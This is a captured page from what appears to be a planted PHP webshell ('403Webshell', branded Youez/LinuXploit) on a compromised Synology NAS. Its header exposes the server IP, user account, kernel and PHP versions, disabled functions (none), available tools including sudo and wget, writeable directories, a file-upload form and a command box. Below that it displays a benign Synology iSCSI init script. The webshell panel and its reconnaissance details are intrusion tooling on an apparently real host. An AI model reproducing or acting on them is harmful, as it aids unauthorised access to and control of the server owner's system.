403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/packages/ScsiTarget/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/packages/ScsiTarget/scripts/S78iscsitrg.sh
#!/bin/sh
# Copyright (c) 2000-2016 Synology Inc. All rights reserved.

ISCSITRGT_LOCK="/tmp/S78iscsitrg.lock"

. /etc.defaults/rc.subr

lio_kernel_module_status()
{
	/sbin/lsmod | /bin/grep -q iscsi_target_mod
	if [ "$?" -eq "0" ]; then
		echo "0"
	else
		echo "-1"
	fi
}

## iSCSI target rc generic interface
iscsitrg_start()
{
	/var/packages/ScsiTarget/target/bin/synocheckiscsitrg > /dev/null 2>&1
	if [ "$(lio_kernel_module_status)" -ne "0" ]; then
		RCMsg "Running lunbackup garbage collection" \
		/var/packages/ScsiTarget/target/bin/synolunbkp --gc

		mods=("iscsi" "vhost-scsi" "tcm" "loopback" "fc")
		for mod in "${mods[@]}"
		do
			/var/packages/ScsiTarget/target/bin/synoiscsiep --startall "$mod" > /dev/null 2>&1
		done
	fi
}

iscsitrg_stop()
{
	/var/packages/ScsiTarget/target/bin/synoiscsiep --oil
	if [ "$?" -ne "0" ]; then
		MsgFail "Stopping iSCSI modules"
	else
		# check the consistent between files and configs
		/var/packages/ScsiTarget/target/bin/synocheckiscsitrg > /dev/null 2>&1
	fi
}

iscsitrg_restart()
{
	iscsitrg_stop
	iscsitrg_start
}

check_support()
{
	local iscsitrg_support=`/bin/get_key_value /etc.defaults/synoinfo.conf support_iscsi_target`
	case "${iscsitrg_support}" in
		[Yy][Ee][Ss])
			return $LSB_SUCCESS
			;;
		*)
			RCMsg "iSCSI target is not supported."
			return $LSB_ERR_CONFIGURED
			;;
	esac
}

iscsitrg_unlock()
{
	/bin/rm "${ISCSITRGT_LOCK}"
}

iscsitrg_lock_trap_unset()
{
	trap - INT TERM EXIT ABRT
}

iscsitrg_lock_trap_set()
{
	trap 'iscsitrg_unlock' INT TERM EXIT ABRT
}

iscsitrg_lock()
{
	MAX_RETRY_COUNT=10
	retryCount=0

	while [ $retryCount -lt $MAX_RETRY_COUNT ]; do
		if [ -f ${ISCSITRGT_LOCK} ]; then
			local script_pid="`cat ${ISCSITRGT_LOCK}`"

			kill -0 $script_pid
			if [ $? -eq 0 ]; then
				MsgWarn "$0 (${script_pid}: \"`ps --no-headers -o comm ${script_pid}`\") is running. retry: ($retryCount / $MAX_RETRY_COUNT)"
			else
				MsgWarn "$0 ($script_pid) is NOT running."
				break
			fi
		else
			break
		fi

		sleep 3
		retryCount=$((retryCount + 1))
	done
	if [ $retryCount -eq $MAX_RETRY_COUNT ]; then
		MsgWarn "$0 Reach max retry count. exit!"
		return 1
	fi

	iscsitrg_lock_trap_set

	echo $$ > ${ISCSITRGT_LOCK}
	return 0
}

[ "$#" -ne "0" ] && ! check_support && exit $?

iscsitrg_lock

lock_result=$?
[ "${lock_result}" -eq "1" ] && exit $LSB_STAT_RUNNING

case $1 in
	start)
		iscsitrg_start
		;;
	stop)
		iscsitrg_stop
		;;
	restart)
		iscsitrg_restart
		;;
	*)
		echo "Usage: `/usr/bin/basename $0` {start|stop|restart|status}"
		exit 1
esac

exit $?

Youez - 2016 - github.com/yon3zu
LinuXploit